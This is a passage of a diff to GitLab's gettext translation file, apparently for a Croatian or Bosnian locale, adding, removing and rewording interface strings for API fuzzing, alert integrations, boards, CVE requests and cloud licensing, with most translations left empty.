msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -490,21 +511,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%{count} more"
msgstr ""
@@ -601,7 +610,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -1006,6 +1015,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1141,6 +1153,9 @@ msgstr[2] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1228,6 +1243,12 @@ msgstr[0] "1 dan"
msgstr[1] "%d dana"
msgstr[2] "%d dana"
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1252,6 +1273,18 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1264,6 +1297,12 @@ msgstr[0] "1 minuta"
msgstr[1] "%d minute"
msgstr[2] "%d minuta"
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1294,6 +1333,18 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1411,9 +1462,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1423,13 +1471,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1504,9 +1549,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1525,13 +1567,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1543,6 +1597,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1555,16 +1612,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
+msgstr ""
+
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1573,16 +1633,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1615,9 +1675,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1795,6 +1852,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1825,12 +1885,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1876,6 +1930,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1951,6 +2008,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1978,9 +2038,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -2008,6 +2065,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -2026,6 +2086,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2119,6 +2182,9 @@ msgstr "Dodatne minute"
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2146,6 +2212,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2287,9 +2356,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2725,6 +2791,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2773,6 +2845,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2935,6 +3010,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2950,13 +3031,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2965,25 +3049,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2998,24 +3085,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -3025,6 +3124,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -3034,9 +3136,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -3073,7 +3172,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3163,9 +3265,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3229,6 +3328,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3256,6 +3358,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3313,6 +3418,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3436,6 +3544,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3448,9 +3559,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3541,7 +3649,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3679,9 +3787,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3883,6 +3988,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3910,6 +4018,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3919,6 +4030,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3928,9 +4042,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4069,6 +4180,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4129,6 +4246,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4171,13 +4294,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4606,6 +4729,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr "Dnevni prosjek: %{average}"
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4708,6 +4834,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4726,6 +4855,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4750,7 +4882,7 @@ msgstr "Naplata"
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4885,6 +5017,9 @@ msgstr[2] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4915,6 +5050,12 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4924,9 +5065,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4945,6 +5083,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4954,6 +5095,12 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4966,6 +5113,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4996,6 +5152,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5302,15 +5461,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5329,6 +5479,12 @@ msgstr ""
msgid "CI/CD"
msgstr "CI/CD"
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5419,6 +5575,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5515,6 +5692,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5635,6 +5815,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5662,6 +5845,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5671,12 +5857,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6319,6 +6511,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6352,6 +6547,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6385,9 +6622,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6406,12 +6640,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6961,6 +7204,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7669,6 +7915,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7732,6 +7981,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -8017,6 +8269,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -8047,9 +8302,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8134,6 +8386,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8152,6 +8407,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8218,6 +8476,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8440,6 +8701,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8485,9 +8749,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8545,9 +8806,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8602,12 +8872,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8641,6 +8920,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8650,18 +8932,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8806,9 +9085,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8830,6 +9106,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8983,6 +9262,9 @@ msgstr ""
msgid "Created"
msgstr "Kreirano"
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -9046,6 +9328,9 @@ msgstr ""
